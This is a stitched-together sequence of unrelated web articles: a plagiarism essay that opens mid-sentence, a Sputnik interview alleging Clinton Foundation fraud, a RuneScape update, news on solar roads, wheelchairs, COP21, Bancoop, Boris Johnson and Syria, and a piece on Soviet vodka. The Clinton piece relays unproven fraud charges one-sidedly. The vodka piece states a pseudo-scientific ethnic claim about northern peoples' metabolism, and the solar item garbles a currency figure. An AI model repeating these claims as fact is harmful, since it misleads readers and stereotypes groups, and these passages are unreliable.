poetry. He took refuge instead in an old stratagem: “I either automatically memorized it and subsequently thought it my own, or wrote it into one of my notebooks with the same result.” When that didn’t work and he continued to be teased in print, he resorted to the argument from authority: “As Mr. T. S. Eliot said: ’Minor poets borrow, major poets steal.’” Actually, MacDiarmid got even that wrong. What Eliot had said was that “immature poets imitate; mature poets steal.” And Eliot may well have knocked that off from Coleridge, who had observed after a lifetime of cormorant­ like theft that “the Eighth Commandment was not made for bards.”  A good rule of thumb for young plagiarists starting out in life might well be the one set down by George Moore. “Taking something from one man and making it worse is plagiarism.” To “making it worse” one could add “or leav­ ing it exactly the same.” Nexis and various computer systems may be making the problem more acute, but nobody who either their own writing or their own plagiarism seriously can afford to go about the place saying that they “find” they have written something composed by somebody else. When Princess Michael of Kent, one of the Queen’s dimmer relatives, was shown to have nicked some material word for word for her biography of Empress Eugenie, she got a spokesman to tell the press, “It seems that, when she read her notes a long time after making them, she forgot that she had written down actual phrases from one of the books she was using.” Seems, madam! Nay, it is; I know not “seems.” We have a certain respect for the professionalism of the forger and the counterfeiter. For kleptomaniacs we entertain no such feeling, but rather resentment at their sloppiness-and the suspicion that in some pathetic way they hope, or need, to get caught. “Great literature,” wrote Robert Benchley, “must spring from an upheaval in the author’s soul. If that upheaval is not present, then it must come from the works of any other author which happen to be handy and easily adapted.” Matching this, Dorothy Parker remarked after some time on the West Coast that the only ism that Hollywood cared aboutwas plagiarism. Where would most of our culture be without borrowing, adaptation, and derivatives? Cineasts even have a fancy word for lifting, hommage. Why else would we require the copyright industry? Originality is a quality so rarely met with in humans that when it does occur it is often disputed. Sir Isaac Newton, for example, took great credit for pro­ pounding a law of planetary motion. This was to the outrage of his rival Robert Hooke, who maintained that Newton had drawn on his work as well as that of others. At that date—1678—the modern world of the scholarly journal and the patent was not yet formed. New­ ton made no direct admission, but did tactfully say that “if I have seen farther it is by standing on the shoulders of giants.” This is commonly known as Newton’s Aphorism, though it had appeared as recently as 1651 in a collection of proverbs by George Herbert. According to the magisterial Robert K. Merton in his labyrinthine book On the Shoulders of Giants, other claimants to the coinage of the phrase include Bernard of Chartres in about 1126, John of Salisbury, Henri de Mondeville, and Robert Burton (he of the Anatomy of Melancholy). And this is to cite only some medieval and postmedieval candidates, since the remark was probably first made in classical times. Among later imitators were Coleridge—as usual—John Stuart Mill, Friedrich Engels, Frank Harris, and Sigmund Freud, all of whom in their different ways had a right to it, and some of whom (though not Mill, who had read everything and had a conscience) may have believed that they were uttering it for the first time. Thus Newton’s most subtle and guarded admission of a possible “debt” is itself one of the phrases most frequently “borrowed.” A decade ago, watching Ronald Reagan give his famous speech on the night of the Challenger calamity, and wanting as ever to resist his sentimental appeal, I became convinced that I had heard his closing lines somewhere. If you remember, he spoke of the dead astronauts as having “slipped the surly bonds of earth,” to “touch the face of God.” The White House declined to help me in my search for the origins of this couplet. I finally discovered that the words came from a sonnet, “High Flight,” by John Gillespie Magee Jr., which was read out as the regular closedown on Washington’s Channel 9 TV station.
-Former US President Bill Clinton and his wife Hillary, the current Democratic Party presidential nominee, have attracted billions of dollars to their own foundation to trade power and influence, Wall Street investor and analyst Charles Ortel told Sputnik.  © AP Photo / John Amis After Hillary Criticises Comey, FBI Releases Documents on Bill Clinton Corruption Investigation  WASHINGTON (Sputnik) — Charles Ortel is a veteran Wall Street investment analyst who has carried out major studies into the operation of the Clinton Foundation and its legal status, and runs a blog monitoring its activities. Ortel was the whistleblower that blew the lid off the General Electric financial discrepancies in 2008.  "The Clinton Foundation has been a gigantic slush fund," Ortel said. "People can donate relatively small sums to the Clinton regime and get gigantic concessions worth hundreds of millions or even billions of dollars back."  During the four years that Hillary Clinton was secretary of state, hundreds of millions of dollars flowed into the Clinton Foundation from governments around the world, many of which then enjoyed favored treatment from the US State Department, Ortel noted.  "To the world at large, the Clintons are open for business," he stated.  The US corporate media always refused to subject the Clinton Foundation to any kind of serious or skeptical coverage, in part because of fear of alienating the Clintons, Ortel explained.  "This is such a big story that the US press is not doing its job. What we have in ‘Clinton Incorporated,’ is Tammany Hall on steroids," he said.  Tammany Hall was the corrupt Democratic political organization that ran New York City for most of a century after the 1861-65 Civil War.  "If you are in the US press, you have got to have access to the president of the United States and the federal government… I have little confidence that the US media would do the work necessary in investigating the workings of the Clinton Foundation as our media is in thrall to the Clintons," Ortel added.  Ortel maintained that the operations of the Clinton Foundation and the actions of Hillary Clinton as Obama’s first secretary of state from 2009 to 2013 needed to be understood as part of a long-term master plan to regain and exercise political power by the Clinton family.  "The Clintons put together a long-term plan decades ago. They were already planning when Bill Clinton stepped down at the end of his second term that Hillary would run for president and eventually Chelsea will too," he said.  Ortel welcomed the decision of FBI Director James Comey to reopen the federal probe into Hillary Clinton’s use of private server for official business while secretary of state, and said the manner in which it had been done suggested the federal investigators believed they would find important revelations.  "To reopen an investigation is a massive decision so there must be a massive set of reasons for doing so. If it were a small matter, they would have waited until after the presidential election. It is also significant that this decision was announced publicly," Ortel noted.  An FBI investigation proceeds very carefully and methodically, and is thorough and sweeping. Therefore, Comey’s decision to reopen the emails probe was a very serious decision, Ortel pointed out.  "To then reopen an investigation 11 days before a presidential election involving a major candidate and their family is virtually unprecedented," he said.  Ortel also predicted that if Republican nominee Donald Trump defeats Hillary Clinton in the presidential election next Tuesday, current President Barack Obama would likely be urged to issue a blanket pardon to Clinton before Trump took office.  "If Trump wins, there would be great pressure on Barack Obama to pardon the Clintons before Trump could enter office. … [However] I believe she will never be elected president," he said.  Ortel also noted that the Clinton Foundation had never made the legal preparations and commitments that US law requires of any charity before it can carry out international activities outside the United States.  "The Clinton Foundation is engaging in illegal activities around the world. The Foundation was only authorized to be a presidential archive and research facility based in Little Rock [in the US state of Arkansas]. Every activity other than that has been unauthorized by federal authorities," he explained.  In 2001, the Clinton Foundation started operating internationally even though they had not applied for or been granted the legal status to do so, Ortel recalled.  "That is illegal: A charity must get an international accounting firm to verify its results when operating internationally. The Clinton Foundation did not do that. They have declared that they have raised billions of dollars while making false and misleading statements to authorities," he stated.  Today, there are hundreds of millions of dollars in donations to the Clinton Foundation that remain unaccounted for, Ortel added.  "In 2013 an Indian company associated with the foundation initiative called Ranbaxy paid a$500 million penalty for such practices as inventing test results and adulterating (AIDS) medicines. Nobody still knows the true magnitude of this," he said.  None of the major initiatives that the Clinton Foundation had launched to uncritical and overwhelmingly favorable media coverage around the world remained valid when subjected to close scrutiny, Ortel maintained.  "The Clinton Climate Initiative is a fraud, the AIDS medicine initiative is a fraud. Everything is a fraud. No part of the Clinton Foundation is validly operated. I have suspected that this is a $100 billion fraud," he noted.  Ortel cited Doug Band’s 2011 email for the law firm of Simpson Thacher, exposed by WikiLeaks as proving beyond doubt the improper procedures under which the Clinton Foundation operated.  "There is $2 billion of declared donations at least. But the trick with a charity in dealing with a gullible public is to, first, trick — or divert — portions of the incoming revenue stream," he said.  Ortel also expressed concern about what happened to the billions of dollars that had been raised for the Clinton Foundation to help rebuild Haiti following the devastating 2010 earthquake in that country.  Bill Clinton is co-chairman with former Haiti Prime Minister Jean Max Bellerive of the Interim Haiti Recovery Commission to channel aid to help the country recover from the devastating earthquake of 2010.  "Estimates of the amount of money raised run from a minimum of $6 billion to as high as $14 billion. However Clinton and Bellarive refuse to account for the money and Haitians have not seen anywhere near $ 6 billion invested in their country," Ortel remarked.  Clinton Foundation websites fail to record key documents and disclosures and the entire enterprise has never been subjected to any serious government oversight, Ortel concluded.  Hillary Clinton stated during the third presidential debate with Donald Trump on October 20 that everything she did as secretary of state was in furtherance of American interests.  She also noted then that she is proud of the work of the Clinton Foundation and characterized the organization as a world renowned charity with highest ratings given by foundation watchdogs. She pointed out that the Foundation has enabled, among other pursuits, treatment for 11 million people infected with HIV/AIDS.
-Our quest this month is all about Nomad, and he has been a very, very, naughty man…  You’ll find yourself in the Underworld, leading an army of the undead, reuniting with old friends thought lost to Death’s touch, and laying siege to Nomad’s fortress as you try to stop another of his power-hungry schemes. Be prepared for one of the toughest fights yet, making your first experiences with Nomad feel like a walk in the park. The rewards are pretty sexy too, especially the new devices, including one that has the power to increase the XP you earn for teleporting Urns.  Requiring “Dishonour Among Thieves’” and “The Mighty Fall” to complete, this continuing storyline was one of the lore highlights of last year and is a critical part of the 6th age. It is the first of four quests that will bring about the conclusion of Sliske’s Countdown… so get involved!  Requirements RuneScape members only You must have completed the quests “Dishonour Among Thieves”, “The Mighty Fall”, “The Void Stares Back”, “Nomad’s Requiem”, “Throne of Miscellania” and “Heart of Stone.” You must have Level 75 in the following skills: Woodcutting. Mining. Construction. A high combat-level and good gear are highly recommended.  The God Scoreboard  Speaking of Sliske, he’s as hungry for attention as always and is slamming down his intentions for all to see. In a cruel parody of the Edicts of Guthix, the god he killed at the end of the 5th age, he’s embedded a massive sword in the centre of the Grand Exchange, acting as a giant scoreboard for tracking the antics of the gods.  To get your attention, he’s spread “Sliskelion” pieces around the game-world. These can be earned while you train, and you can cash them in at the sword for some decent XP rewards. The sword will be removed at the conclusion of his vicious game, so don’t hang about in finding those elusive pieces!  GameBlast | Double XP weekend  The 26th of February is a great time of year to commit to an entire weekend of playing RuneScape. It’s cold and windy outside for most of us, there are great opportunities in game to make money for a fantastic charity, and a double XP weekend to enjoy! It’s the perfect time to get in game!  The double XP boost will last all weekend, and during the week we’ll have our “Time to Train” promotion running, filling Treasure Hunter with all the useful training and skilling items you love to win.  Alongside the double XP weekend, we’ll be running GameBlast, a 24-hour livestream event, entertaining you with a digital cacophony of activity, with special guests, famous streamers, challenges, crazy events and generally making a fool of ourselves.  Gameblast is all about raising money for Special Effect - an amazing charity who help people with disabilities to enjoy playing games just like ours.  We’re also bringing back the Well of Goodwill so you can donate your in-game wealth and bonds to the charity, which we convert to real cash. You can also buy some special in-game cosmetic items too, courtesy of Solomon’s General Store, so keep an eye out for those!  It really is lots of fun, all for a wonderful cause!  RuneMetrics  RuneMetrics is an amazing new in-game feature that gives you access to a huge variety of advanced tracking tools. It shows you stats, graphs and additional website features to help you understand all the ins and outs of what your character is doing.  This feature really helps you to understand and experiment with your gear, running onscreen, updating as you train, working out the best possible XP, damage and wealth rates and analyzing what you’re doing, all of the time!  There’s advanced XP tracking including an ETA to your next level up. There is also an amazing drop log that tracks everything you’ve gained through combat, as well as damage calculators giving you your total damage EVER and your average damage per minute, and plenty more on top!  Many of these features are free, but if you’re the sort of player that wants ALL THE STATS and access to advanced tools that allow you to look at historical data, you’ll be able to spend a bond per month for the complete package.  Gold Premier Club members get all the features for free for the first 2 weeks, and half price for the rest of the year.  Invention 1.1 and 1.2  Keeping true to our promises about the new skill, we’re releasing more content for you to invent and experiment with this month, and we’re working on important tweaks and fixes based on your feedback so far.  We’re adding tools like the crystal pickaxe and hatchet to the list of items you can augment and adding a bunch of perks for skilling via the shiny augmentation table.  Perks include “not emptying resource locations when you gain resources”, consuming resources for XP and plenty more.  Zodiac Event | Chinese New Year  From the success that was last year’s Death Lotus Training, get stuck into our new Zodiac event for Chinese New Year 2016. The Zodiac event, which gives you a checklist of time-sensitive tasks that you can complete for great rewards, including the dragon zodiac costume. As with last year’s event, you can complete the list multiple times for even better rewards, and use stamps to auto complete any tasks you really don’t want to do.  Bumper Podcast | Seren, a song, and community helpers  Welcome to the bumper new RuneScape podcast, absolutely packed with content. This week, listen in for Mod Osborne taking to Lore Corner for a chat about Seren; Mod MattHe talking to Mod Krista about her favourite piece of RuneScape music, and finally for Mod Infinity sitting down with Player Support JMods to talk about all our Community Helper initiatives.  Listen now on YouTube, PodBean or iTunes.  In other news…  Our Ninjas have been sneaking about again, this time focussing their attention on some old favourites and on the free game.  God books will be able to be worn in the pocket slot and will give bonuses to all combat styles. (Even more so if it’s an illuminated god book.) You’ll also be able to charge up your god book by consuming pages, with fully charged books able to unleash a special attack themed around that specific god’s lieutenant, like Commander Zilyana’s lightning-cloud attack if you’re using the Saradomin book. It’s seriously cool.  You told us that in the free game, you’d love a way to sell your members’ items to help you buy bonds, so we’re adding it! We are also giving free players a taste of bossing by adding the giant mole and the KBD to their choices in combat, adding some combat abilities to help with your combat rotations, and even adding dual wielding.  RuneLabs | Vote now for Eastern Lands content!  Recently, you’ve voted in game for us to finally take you to the Eastern Lands! This is something I am particularly excited about, and we would now love to hear your ideas on the sort of content you’d like to experience out there. Whether it’s a quest, a skilling update, a minigame, a d+d… anything themed around these mysterious lands - we want to know about it!  Take your creative juices straight to RuneLabs and post, or simply “up vote” some of the current ideas to let us know what you like.  Treasure Hunter | Valentine’s Event 2016  On Treasure Hunter this month we’re bringing back the Valentine’s event. This time we’re giving you the chance to win petals that unlock all the previous rewards and funky new costumes and items, including the charming masquerade outfits, a goblin butler pet and the Sceptre of Enchantment, which can be charged with petals and gives everyone around you an XP boost! Petals are also earned via training and can be bought on the Grand Exchange.  New Boss| The Mimic  Finally, there will be a new boss hanging around for just one weekend, called the Mimic Boss. It’s like a massive treasure chest… but it’s alive, and it wants to eat you! There are 4 levels of boss you can fight, with the higher levels offering the best rewards. You can defeat the boss up to 5 times per day, deaths do not count as a failed attempt. More chances are available via Treasure Hunter and I hear there’s a new and rare tongue cape to be won! Disgusting.  Merch Store Sale | Last Call for 15% Off  Our 15 day Merch-Store sale is coming to an exciting climax this weekend. Every item that has been 15% off during the promotion will once again be discounted by that amount from 00:00 UTC on 30th January until 23:59 UTC on 31st January. Treat yourself to something nifty!  Have fun, and w00ters out!
-France is set to roll out over 1,000km (621 miles) of solar road that will deliver an eco-friendly way to produce enough energy to power millions of households. The project was announced by Ségolène Royal, the country's minister of ecology and energy, and will see these electric avenues hit highways over the next five years.  The Wattway photovoltaic solar panels, which have been five years in development by Colas, will be laid over the top of existing roadways and harvest energy to provide electric power to approximately one household per metre. It is understood the amount of power will be sufficient enough for most household needs apart from heating.  The proposal is all part of the "Positive energy" initiative with the target to lay 1,000km of solar road – enough to stretch all the way from the southern border of France to London – in a bid to power 5 million homes (or 8% of France's population) with cleaner, renewable energy.  Where and when will the solar roads be installed?  Locations of where the solar roads will be laid has not yet been revealed but it has been said that the first highways will see the cells in the first half of 2016.  With the panels only 7mm thick the cost and time to retrofit them to roads will be relatively inexpensive and quick, with minimal disruption to traffic. Wattway has developed the technology so cars and trucks are able to freely drive over them as well as providing the same traction as tarmac, eliminating the threat of slipping when it rains.  A number of other countries are already experimenting with solarising its roads, with a project in the Netherlands having 70 metres of solar road in operation since 2014 in the form of a bike path, as well as an American Indiegogo campaign that has raised over $2m (£48m) to see power-providing, snow-melting roads in the US.
-In Minnesota, Abandoned Wheelchairs Are Just Part Of The Landscape  Enlarge this image toggle caption Elizabeth Baier/MPR News Elizabeth Baier/MPR News  Anyone who has spent much time in Minnesota's "Med City" can't help but notice that wheelchairs are everywhere.  From city parking ramps and downtown sidewalks to park trails and the local mall, the chairs have an inescapable presence.  More than likely that has do to with the fact that Rochester is home to Mayo Clinic, visited by thousands of patients every day. Many of them use wheelchairs to get around. So it's not surprising that they exist in big numbers.  The big curiosity is how they end up all over the city with their users nowhere in sight — a fact that some local residents can be oblivious to.  Denny and Carol Scanlan say empty wheelchairs are just part of the Rochester landscape.  "I never even thought of it until just now," Denny Scanlan says over a drink at American Legion Post 92, where he is a member. "Well, I see them kind of everywhere we go, I guess — where you least expect them."  "Yes," says his wife, with a laugh. "At the mall. In a restaurant. " She adds, "We're so used to it that I don't even notice it."  But some people do notice the big blue chairs.  At the Blue Water Salon on the skyway level of the Doubletree Hotel, owner Shelly Joseph often sees them just outside her door, in a public stairwell largely used by hotel staff.  Enlarge this image toggle caption Alex Kolyer for MPR News Alex Kolyer for MPR News  "I don't know why they're in here, but randomly they're in this stairwell," she says. "It's a fire exit, basically."  At the Starbucks across the hall, manager Dawn Lee-Britt sees wheelchairs outside the employee entrance at the back of the coffee shop at least a couple of times a week.  "Sometimes we can't get out," she says. "I'm getting used to it because we see them so often." She adds: "It's like they don't need it anymore or it's time to go.  Mayo Clinic has 1,180 wheelchairs in its Rochester fleet, largely for patient transport. It loses up to 150 chairs each year, says general services manager Ralph Marquez, who oversees patient equipment.  At $550 each, that could be as much as $82,500 a year.  "Yes, it's a financial burden to us from that standpoint, but it's also a service we provide," Marquez says. "And if the patient, you know, truly comes first, sometimes that's the expense of the business."  Because the clinic does not want to keep patients from leaving the campus, the clinic's courier service rounds up wheelchairs weekly, mostly from hotels and other places that alert them.  But the chairs can travel much farther than that.  "We've gotten calls from Orlando Airport. Goodwill up in Duluth had one of our chairs and luckily we were able to retrieve that one. We've had them in Denver, out east in a few airports," Marquez says. "They get back to us dirty and needing to be cleaned. People may take them home for a while. They wind up everywhere."  Enlarge this image toggle caption Alex Kolyer for MPR News Alex Kolyer for MPR News  That includes the Rochester Public Library, where communications manager John Hunziker considers wheelchairs normal.  "I'm sure if you aren't used to Rochester, seeing somebody going down the skyway, you know, pushing an IV on a rolling stand looks kind of weird," he says. "But it's just part of living in Rochester."  And on some days, part of Hunziker's job is to let the Mayo Clinic know there's a blue chair to pick up in the lobby.
-As the dust settled in Paris on Sunday following the adoption of a landmark global climate agreement (pdf), the question remains, what happens next now that the world has reportedly reached the "end of the fossil fuel era?" And for many, the answer is simple: Kick the big corporate polluters out of the policy-making process—once and for all.  Among the COP21 pact's many shortcomings, according to environmental campaigners, is that it sets the aspirational goal of limiting temperature increase to 1.5°C without providing any "meaningful" direction to how that is achieved.  Countries have essentially been left to their own devices to meet their individual greenhouse gas reduction targets, known as Intended Nationally Determined Contributions (or INDCs). In reality, scientists have said that these individual pledges are not enough to reach the internationally agreed-upon goal of limiting warming "well below 2 °C above pre-industrial levels."  With that in mind, campaigners say that the next essential step is for governments to decouple climate policy from those who benefit most from an economy based on fossil fuels.  "For climate policy— including the Paris Agreement—to compel the rapid transition our planet so desperately needs, we must first address this conflict of interest," said Jesse Bragg, media director for international corporate watchdog Corporate Accountability International.  "At the national level, emissions-intensive corporations have shaped our policies in their interest for decades and obscured their impacts on the environment. And, at the international level, these same corporations have forced themselves into every aspect of policymaking to not only influence policy outcomes but greenwash their otherwise dirty track records," he stated.  Before and during the COP21 negotiations, much focus was placed on the out-sized role that the conference's corporate sponsors had in shaping the agreement.  "We must take back our democratic processes and ensure they are working for people and the environment, not big polluter profits," Bragg added.  Indigenous leaders also issued a statement slamming the pact as little more than a "trade agreement" between the planet, rich nations, and corporations—one that "commodifies nature" at the expense of those who live on the front lines of climate change.  SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts  Indeed, the text discusses nature as something that can counted and swapped. At the same time, the agreement leaves open the possibility that nations can meet their INDCs through investment in industry-friendly alternatives—such as so-called "negative emission" technologies like carbon capture and sequestration (CCS)—instead of simply reducing their carbon footprint.  As the Washington Post's Chris Mooney explains,  The new text itself appears to empower these technologies further when it says that the ultimate goal is to "achieve a balance between anthropogenic emissions by sources and removals by sinks of greenhouse gases in the second half of this century." Sources are things like coal-burning power plants—sinks are things like trees, forests and oceans. But the language in this section may also subtly invoke negative emissions technologies.  In a statement, presidential hopeful Bernie Sanders also said the pact goes "nowhere near far enough," given the influence that big money—particularly the fossil fuel industry—has on policy decisions.  "In the United States we have a Republican Party which is much more interested in contributions from the fossil fuel industry than they care about the future of the planet. That is true all over the globe," stated the Senator from Vermont, who is running for the Democratic nomination. "We’ve got to stand up to the fossil fuel industry and fight for national and international legislation that transforms our energy system away from fossil fuel as quickly as possible."  The call for "system change" was echoed by over ten thousand people who took to the streets on Saturday in cities across the globe. In Paris, New York, London, and elsewhere, Indigenous groups, environmentalists, and others activists formed giant "red lines" to illustrate, as 350.org executive director May Boeve said, that "a livable climate is a red line we’re prepared to defend."  Now that the agreement has been sealed, Indigenous groups and environmental campaigners are vowing to hold their elected officials accountable and are already organizing what 350.org's Jamie Henn described as "massive mobilizations against the fossil fuel industry this spring."
-Alvo de denúncia do Ministério Público de São Paulo ao lado do ex-presidente Lula, o primeiro escalão da Cooperativa Habitacionbal dos Bancários (Bancoop) renunciou. A debandada inclui os membros da diretoria e dois integrantes do Conselho Fiscal. Deixaram seus cargos o diretor presidente Vagner de Castro e a diretora administrativo-financeira Ana Maria Érnica, ambos acusados pela Promotoria da prática de 2364 crimes de estelionato na gestão da cooperativa.  A acusação, levada à Justiça no dia 8 de março, alcançou 16 investigados, entre os quais Lula, a mulher dele, Marisa Letícia, o filho mais velho do casal Fábio Luiz Lula da Silva, o Lulinha, o ex-tesouoreiro e ex-presidente da Bancoop João Vaccari Neto e o empreireito Léo Pinheiro, da OAS – empresa que assumiu diversos empreendimentos que a Bancoop não finalizou, entre eles o Condomínio Solaris, no Guarujá, onde fica tríplex 164/A, supostamente de propriedade do ex-presidente – o que é negado por Lula e seus advogados.  A Promotoria acusa o petista por lavagem de dinheiro e falsidade ideológica. A Promotoria requereu a prisão preventiva de Lula, mas a juíza da 4.ª Vara Criminal da Capital, mandou os autos para o juiz federal Sérgio Moro, da Operação Lava Jato. O caso está nas mãos do ministro Teori Zavascki, do Supremo Tribunal Federal (STF), porque Lula foi nomeado ministro da Casa Civil e agora detém foro privilegiado.  A renúncia do primeiro escalão da Bancoop deixou perplexos muitos cooperados. Eles temem que ocorrerá ’em momento próximo’ a diossolução extrajudicial da cooperativa que foi criada nos anos 1990 por um núcleo do PT.  Uma Assembleia Geral Extraordinária está sendo convocada, por edital a ser publicado nesta quarta-feira, 30, para o dia 19 de abril, ocasião em que deverá ser eleita nova diretoria para finalização dos mandatos até 18 de fevereiro de 2017.  A Bancoop foi alvo da Operação Triplo X, 22ª fase da Lava Jato, deflagrada em janeiro. Agentes da Polícia Federal fizeram buscas em um endereço da cooperativa no Centro de São Paulo em busca de documentos. A PF informou que essa etapa da investigação apurou a ocultação de patrimônio por meio do Condomínio Solaris, ‘havendo fundadas suspeitas de que uma das empreiteiras investigadas na Operação Lava Jato teria se utilizado do negócio para repasse disfarçado de propina a agentes envolvidos no esquema criminoso da Petrobrás’.  A Polícia Federal incluiu o triplex 164-A, que seria de Lula, no rol de imóveis com ‘alto grau de suspeita quanto à sua real titularidade’  COM A PALAVRA, OS ADVOGADOS RUBENS DE OLIVEIRA E RODRIGO CARNEIRO MAIA BANCIERI, DA BANCOOP  “Na qualidade de defensores do sr. Vagner de Castro e Sra. Ana Maria Ernica, esclarecemos:  Castro foi Diretor Presidente por sete anos e Ernica foi Diretora Administrativa Financeira por onze anos. Nesse ínterim cumpriram com lisura e dedicação o Acordo Judicial realizado em 20.05.2008 nos autos de ação civil pública de autoria do Ministério Público do Estado de São Paulo.  Nesse contexto, contaram com a participação e apoio da imensa maioria dos cooperados para solucionar diversos problemas relacionados à cooperativa, tendo sido entregues cerca de 5.697 (cinco mil e seiscentas e noventa e sete) unidades habitacionais, restando apenas três empreendimentos em busca de solução.  Mesmo assim, membro do Ministério Público do Estado de São Paulo atribuiu, por mais de uma vez, aos acordos judicialmente homologados, incidência penal.  Assim, com o desígnio de não prejudicar as atividades da BANCOOP, bem como voltar esforços às defesas técnicas, foram por nós, orientados a renunciarem.”
-Boris Johnson has demanded the advocacy group Cage "stop crying Islamophobia” and focus its "wrath" on Isis militants during a furious exchange with the organisation's research director over Jihadi John suspect Mohammed Emwazi.  Asim Qureshi rang Mr Johnson’s LBC weekly phone-in to challenge criticism he has received for saying Emwazi’s detention and treatment by British security services may have made him more susceptible to radicalisation.Mr Qureshi last week described Emwazi as an "extremely kind" and "gentle" man who had been harassed by MI5.  Mr Quareshi said Cage’s opinions over Emwazi had been “unfairly represented”, adding: “At the end of the day, what this young man has done is absolutely horrific”.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  He continued: “As an organisation we have made a commitment against arbitrary detention, extrajudicial killings and torture, regardless of the perpetrator,” prompting fury from the Mayor.  Johnson said he was “moved to anger” over the thought that Mr Qureshi could lay blame for his radicalisation at the feet of MI5.  "I really, really think that the focus of your indignation and outrage should be on people who go out to join groups that throw gays off cliffs, that behead people who don't subscribe to their version of Islam, that glorify in the execution of innocent journalists and aid workers," he said.  "These should be the object of your wrath, not the security services who are trying to keep us safe.  "I urge you, I urge you more powerfully to differentiate between people like Mr Emwazi and ordinary Muslims and not somehow instantly to cry Islamophobia or whatever when people criticise, attack, denounce those who go out and engage in such atrocities. That should be your priority.” He suggested Mr Qureshi spend more attention on "the false understanding" Isis supporters have of Islam.  Mr Qureshi replied: "These things are extremely complicated. We never said that he was radicalised by MI5 to commit beheadings.  "What we want is to understand whether or not the security agencies, their actions, led to him feeling like he does not belong to UK society. That is it. We never said there is a direct causality.”  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Lenin was absolutely indifferent to alcohol, from time to time he threw back just a few German beers or a glass of Italian chianti. He would also refuse Russian strong drinks flatly and just hated drunk people. He was also a strong advocate of the dry law, which was carried into force in 1914. He had a horror of drunk soldiers with guns, and used to say that Russian would drown the revolution in vodka. The Vodka Museum supervisor Alexander Nikishin says, that in 1917 Lenin was really shocked when he was driving by some vodka distillery ruined by soldiers and saw them kneeling down and liking the spirits flowing out right from the ground. Soon after this he ordered to shoot all marauders who dared to make an attempt on liquids. In his view, only sober proletarians of all countries could unite.  But his successor Joseph Stalin said goodbye to the dry law. He really liked to knock one over back. It’s more like a legend, but they say, Stalin’s father used to give his baby-son a cloth soaked with vodka instead of a pacifier — and you know, it worked.  The development of vodka industry was so rapid that over some time they had to set up a blue ribbon army, and a lot people from the red one had to join it. Several thousands of children would come out with posters, which were saying “Daddy, don’t drink”, “Daddy, come home sober”, “Bread, not Vodka”. It was a real anti-alcohol crusade, and it could spread further and further, but in the thirties Stalin cut down on the campaign.  By the way, it was Stalin’s idea to give soldiers so called “100 grams from the Commissar” during the war. Rivers of vodka flew to the front, and this led to mass hard drinking, but actually, firewater saved a lot of lives, helping to relieve war stress, dull the dread of death and stay alive after bad frostbite. On the other hand, in post-war time the number of alcoholics soared up high.  At his gorgeous banquets Stalin made his comrades drink more and more to unlock their tongue. One of his confidants, Michael Tomsky, once said, “We’ll find a bullet for you too”, and so at once condemned himself out of his own mouth. In vino veritas.  In 1959 Nikita Khrushchev signed an agreement with Nixon to build the first Russian vodka distillery in the USA.  Leonid Brezhnev tried his best to save Chukchi from alcoholism and ordered to produce a new drink called Kaprin – vodka with red wine. This new thing was just great, but still the whole campaign totally failed. The thing is that organism of northern people (those, who live in snow and frost all their life) can’t cope with vodka properly as they are not used to have spirit in blood (southern people get it in a very tiny dose from vegetables and fruit when digest these products, and so have a special ferment to neutralize it), so, they become drunkards right after the first or second glass.  On May 16, 1985 Mikhail Gorbachev started an anti-alcohol campaign, prices on vodka, wine and beer were raised, and their retail sales were greatly restricted in amount and time of day. People who were caught drunk at work, on long-distance trains, in public or even at home were prosecuted. Even scenes of alcohol consumption were cut out from movies. Many famous wineries were simply destroyed. When Georges Simenon learnt about plantations of grapes being uprooted, he wrote a long letter to the Soviet authorities and this saved some wineries from being turned into ashes.
-Strikeforce is targeting a light heavyweight fight between former 205-pound champion Rafael "Feijao" Cavalcante and Ovince St. Preux at a yet to be announced July event, MMA Fighting has learned from sources close to the fight.Feijao vs. OSP has been discussed by all parties involved, however, Strikeforce officials recently told MMA Fighting that "nothing (is) finalized" just yet.Cavalcante (10-3) lost his title to Dan Henderson in March via third-round TKO. He won the title last August when he defeated Muhammed Lawal via third-round TKO.St-Preux (10-4) went 7-0 in 2010. He most recently scored a unanimous decision win over Abongo Humphrey in January.Recent reports stated that St-Preux would be facing Lawal at Strikeforce's June 18 event, but according to sources close to both fighters, that fighter was never close to being signed. MMARising.com recently reported that Lawal would instead be facing Roger Gracie on a July 9 card, which could be the same one to feature Feijao vs. OSP.
-The White House issued a statement on Saturday once again calling on Syria to uphold commitments it has made in recent months, “including the full implementation of a cease-fire.” The statement added, “We are consulting with our international partners regarding next steps toward a Syrian-led political transition” called for in two United Nations Security Council resolutions, and “the sooner this transition takes place, the greater the chance of averting a lengthy and bloody civil war.”  Syria’s uprising has become one of the most intractable and deadliest conflicts of the Arab Spring, with reports of at least four massacres in recent weeks, including accounts of killings of as many as 78 civilians, many of them women and children.  On Saturday, dozens of Syrians were killed in government attacks across the country, especially in villages around Damascus, the capital, according to the Syrian Observatory for Human Rights, a group based in Britain with contacts in Syria. The group and other activists said security forces were carrying out sweeping arrests, particularly of young men, in towns around the capital.  The Obama administration is resisting calls to arm rebel groups, for fear that they are not an organized force and could eventually turn on one another. “The problem is that if we do nothing and Syria explodes, we have a broader conflict in the Middle East ,” a senior American diplomat said last week, before the United Nations announcement, adding, “But our options aren’t any better than they were a year ago.”  The observers had been the foundation of a six-point peace plan that Kofi Annan , the former United Nations secretary general and the special envoy to Syria, had sought to hammer out with the consent of Mr. Assad and his foreign sponsors, including Russia and Iran .  Both of those countries have huge stakes in the outcome: Russia has a military base in Syria and has long used Mr. Assad as an instrument to project influence in the region, and the Syrian government is Iran’s only real ally in the region. But Russia has frozen strong action, complaining that the West went beyond its humanitarian mandate when it aided the overthrow of Col. Muammar el-Qaddafi in Libya last year.  The leader of the observer mission in Syria, Gen. Robert Mood, said in a statement that he had little choice but to suspend the mission. Escalating violence across Syria over the past 10 days had prevented the teams from carrying out their mandate to verify events on the ground. They have repeatedly been attacked by pro-government supporters, driving them back in recent days from the village of Al Heffa, which had been under assault all week until all its residents fled.  Advertisement Continue reading the main story  “The lack of willingness by the parties to seek a peaceful transition, and the push toward advancing military positions is increasing the losses on both sides: innocent civilians, men, women and children are being killed every day,” General Mood said. “It is also posing significant risks to our observers.” But he emphasized that he was only suspending the mission, not ending it, and would evaluate daily the chances for resuming its activities.  Ahmad Fawzi, Mr. Annan’s spokesman, said General Mood was responding in 